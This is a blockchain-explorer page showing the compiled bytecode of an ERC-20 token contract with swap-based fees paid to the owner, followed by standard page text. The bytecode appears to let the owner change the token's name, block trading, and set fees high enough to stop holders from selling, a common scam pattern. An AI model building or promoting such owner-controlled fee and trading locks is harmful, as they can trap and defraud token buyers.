0a01b191690555b6001600160a01b03841630148015906107cc5750600654600160a81b900460ff1615156001145b15610851576005546000906064906001600160a01b038781169116146107fc57600254610100900460ff16610803565b60025460ff165b6108109060ff1685610c7a565b61081a9190610db2565b90506108268184610c91565b3060009081526003602052604081208054929550839290919061084a908490610e5b565b9091555050505b6001600160a01b03831660009081526003602052604081208054849290610879908490610e5b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108c591815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b81811015610904578581018301518582016040015282016108e8565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461093c57600080fd5b919050565b6000806040838503121561095457600080fd5b61095d83610925565b946020939093013593505050565b60008060006060848603121561098057600080fd5b61098984610925565b925061099760208501610925565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126109ce57600080fd5b813567ffffffffffffffff808211156109e9576109e96109a7565b604051601f8301601f19908116603f01168101908282118183101715610a1157610a116109a7565b81604052838152866020858801011115610a2a57600080fd5b836020870160208301376000602085830101528094505050505092915050565b60008060408385031215610a5d57600080fd5b823567ffffffffffffffff80821115610a7557600080fd5b610a81868387016109bd565b93506020850135915080821115610a9757600080fd5b50610aa4858286016109bd565b9150509250929050565b803560ff8116811461093c57600080fd5b60008060408385031215610ad257600080fd5b610adb83610aae565b9150610ae960208401610aae565b90509250929050565b600060208284031215610b0457600080fd5b6104c982610925565b60008060408385031215610b2057600080fd5b610b2983610925565b9150610ae960208401610925565b600181811c90821680610b4b57607f821691505b602082108103610b6b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610bc2578160001904821115610ba857610ba8610b71565b80851615610bb557918102915b93841c9390800290610b8c565b509250929050565b600082610bd957506001610366565b81610be657506000610366565b8160018114610bfc5760028114610c0657610c22565b6001915050610366565b60ff841115610c1757610c17610b71565b50506001821b610366565b5060208310610133831016604e8410600b8410161715610c45575081810a610366565b610c4f8383610b87565b8060001904821115610c6357610c63610b71565b029392505050565b60006104c960ff841683610bca565b808202811582820484141761036657610366610b71565b8181038181111561036657610366610b71565b601f82111561041a57600081815260208120601f850160051c81016020861015610ccb5750805b601f850160051c820191505b81811015610cea57828155600101610cd7565b505050505050565b815167ffffffffffffffff811115610d0c57610d0c6109a7565b610d2081610d1a8454610b37565b84610ca4565b602080601f831160018114610d555760008415610d3d5750858301515b600019600386901b1c1916600185901b178555610cea565b600085815260208120601f198616915b82811015610d8457888601518255948401946001909101908401610d65565b5085821015610da25787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082610dcf57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610e3a5784516001600160a01b031683529383019391830191600101610e15565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561036657610366610b7156fea264697066735822122011bb4b07393199c191c5d7a00b51f3f86c3a160becfb9d2c8ffb3d17f73bdd9264736f6c63430008150033
Deployed Bytecode
0x6080604052600436106100ab5760003560e01c80634fcd2446116100645780634fcd24461461019e57806370a08231146101be5780638a8c523c146101eb57806395d89b4114610200578063a9059cbb14610215578063dd62ed3e1461023557600080fd5b806306fdde03146100b7578063095ea7b3146100e257806318160ddd1461011257806323b872dd14610135578063313ce567146101555780633c0c67851461017c57600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b506100cc61026d565b6040516100d991906108d7565b60405180910390f35b3480156100ee57600080fd5b506101026100fd366004610941565b6102ff565b60405190151581526020016100d9565b34801561011e57600080fd5b5061012761036c565b6040519081526020016100d9565b34801561014157600080fd5b5061010261015036600461096b565b610389565b34801561016157600080fd5b5061016a601281565b60405160ff90911681526020016100d9565b34801561018857600080fd5b5061019c610197366004610a4a565b6103d7565b005b3480156101aa57600080fd5b5061019c6101b9366004610abf565b61041f565b3480156101ca57600080fd5b506101276101d9366004610af2565b60036020526000908152604090205481565b3480156101f757600080fd5b5061019c61046a565b34801561020c57600080fd5b506100cc6104ad565b34801561022157600080fd5b50610102610230366004610941565b6104bc565b34801561024157600080fd5b50610127610250366004610b0d565b600460209081526000928352604080842090915290825290205481565b60606000805461027c90610b37565b80601f01602080910402602001604051908101604052809291908181526020018280546102a890610b37565b80156102f55780601f106102ca576101008083540402835291602001916102f5565b820191906000526020600020905b8154815290600101906020018083116102d857829003601f168201915b5050505050905090565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061035a9086815260200190565b60405180910390a35060015b92915050565b6103786012600a610c6b565b61038690633b9aca00610c7a565b81565b6001600160a01b03831660009081526004602090815260408083203384529091528120805483919083906103be908490610c91565b909155506103cf90508484846104d0565b949350505050565b6006546001600160a01b0316331461040157604051629af2b160e81b815260040160405180910390fd5b600061040d8382610cf2565b50600161041a8282610cf2565b505050565b6006546001600160a01b0316331461044957604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b6006546001600160a01b0316331461048157600080fd5b600654600160a81b900460ff161561049857600080fd5b6006805460ff60a81b1916600160a81b179055565b60606001805461027c90610b37565b60006104c93384846104d0565b9392505050565b600654600090600160a81b900460ff16806104f857506006546001600160a01b038581169116145b8061051057506006546001600160a01b038481169116145b61051957600080fd5b600654600160a81b900460ff1615801561053c57506005546001600160a01b0316155b80156105485750600082115b1561056957600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03841660009081526003602052604081208054849290610591908490610c91565b90915550506005546001600160a01b0384811691161480156105bd5750600654600160a01b900460ff16155b80156105fd575060646105d26012600a610c6b565b6105e090633b9aca00610c7a565b6105ea9190610db2565b3060009081526003602052604090205410155b801561061757506006546001600160a01b03858116911614155b156107a5576006805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061066457610664610dd4565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106106ac576106ac610dd4565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106ec6012600a610c6b565b6106fa90633b9aca00610c7a565b6107049190610db2565b60008430426040518663ffffffff1660e01b8152600401610729959493929190610dea565b600060405180830381600087803b15801561074357600080fd5b505af1158015610757573d6000803e3d6000fd5b50506006546040516001600160a01b0390911692504780156108fc029250906000818181858888f19350505050158015610795573d6000803e3d6000fd5b50506006805460ff60a01b191690555b6001600160a01b03841630148015906107cc5750600654600160a81b900460ff1615156001145b15610851576005546000906064906001600160a01b038781169116146107fc57600254610100900460ff16610803565b60025460ff165b6108109060ff1685610c7a565b61081a9190610db2565b90506108268184610c91565b3060009081526003602052604081208054929550839290919061084a908490610e5b565b9091555050505b6001600160a01b03831660009081526003602052604081208054849290610879908490610e5b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108c591815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b81811015610904578581018301518582016040015282016108e8565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461093c57600080fd5b919050565b6000806040838503121561095457600080fd5b61095d83610925565b946020939093013593505050565b60008060006060848603121561098057600080fd5b61098984610925565b925061099760208501610925565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126109ce57600080fd5b813567ffffffffffffffff808211156109e9576109e96109a7565b604051601f8301601f19908116603f01168101908282118183101715610a1157610a116109a7565b81604052838152866020858801011115610a2a57600080fd5b836020870160208301376000602085830101528094505050505092915050565b60008060408385031215610a5d57600080fd5b823567ffffffffffffffff80821115610a7557600080fd5b610a81868387016109bd565b93506020850135915080821115610a9757600080fd5b50610aa4858286016109bd565b9150509250929050565b803560ff8116811461093c57600080fd5b60008060408385031215610ad257600080fd5b610adb83610aae565b9150610ae960208401610aae565b90509250929050565b600060208284031215610b0457600080fd5b6104c982610925565b60008060408385031215610b2057600080fd5b610b2983610925565b9150610ae960208401610925565b600181811c90821680610b4b57607f821691505b602082108103610b6b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610bc2578160001904821115610ba857610ba8610b71565b80851615610bb557918102915b93841c9390800290610b8c565b509250929050565b600082610bd957506001610366565b81610be657506000610366565b8160018114610bfc5760028114610c0657610c22565b6001915050610366565b60ff841115610c1757610c17610b71565b50506001821b610366565b5060208310610133831016604e8410600b8410161715610c45575081810a610366565b610c4f8383610b87565b8060001904821115610c6357610c63610b71565b029392505050565b60006104c960ff841683610bca565b808202811582820484141761036657610366610b71565b8181038181111561036657610366610b71565b601f82111561041a57600081815260208120601f850160051c81016020861015610ccb5750805b601f850160051c820191505b81811015610cea57828155600101610cd7565b505050505050565b815167ffffffffffffffff811115610d0c57610d0c6109a7565b610d2081610d1a8454610b37565b84610ca4565b602080601f831160018114610d555760008415610d3d5750858301515b600019600386901b1c1916600185901b178555610cea565b600085815260208120601f198616915b82811015610d8457888601518255948401946001909101908401610d65565b5085821015610da25787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082610dcf57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610e3a5784516001600160a01b031683529383019391830191600101610e15565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561036657610366610b7156fea264697066735822122011bb4b07393199c191c5d7a00b51f3f86c3a160becfb9d2c8ffb3d17f73bdd9264736f6c63430008150033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.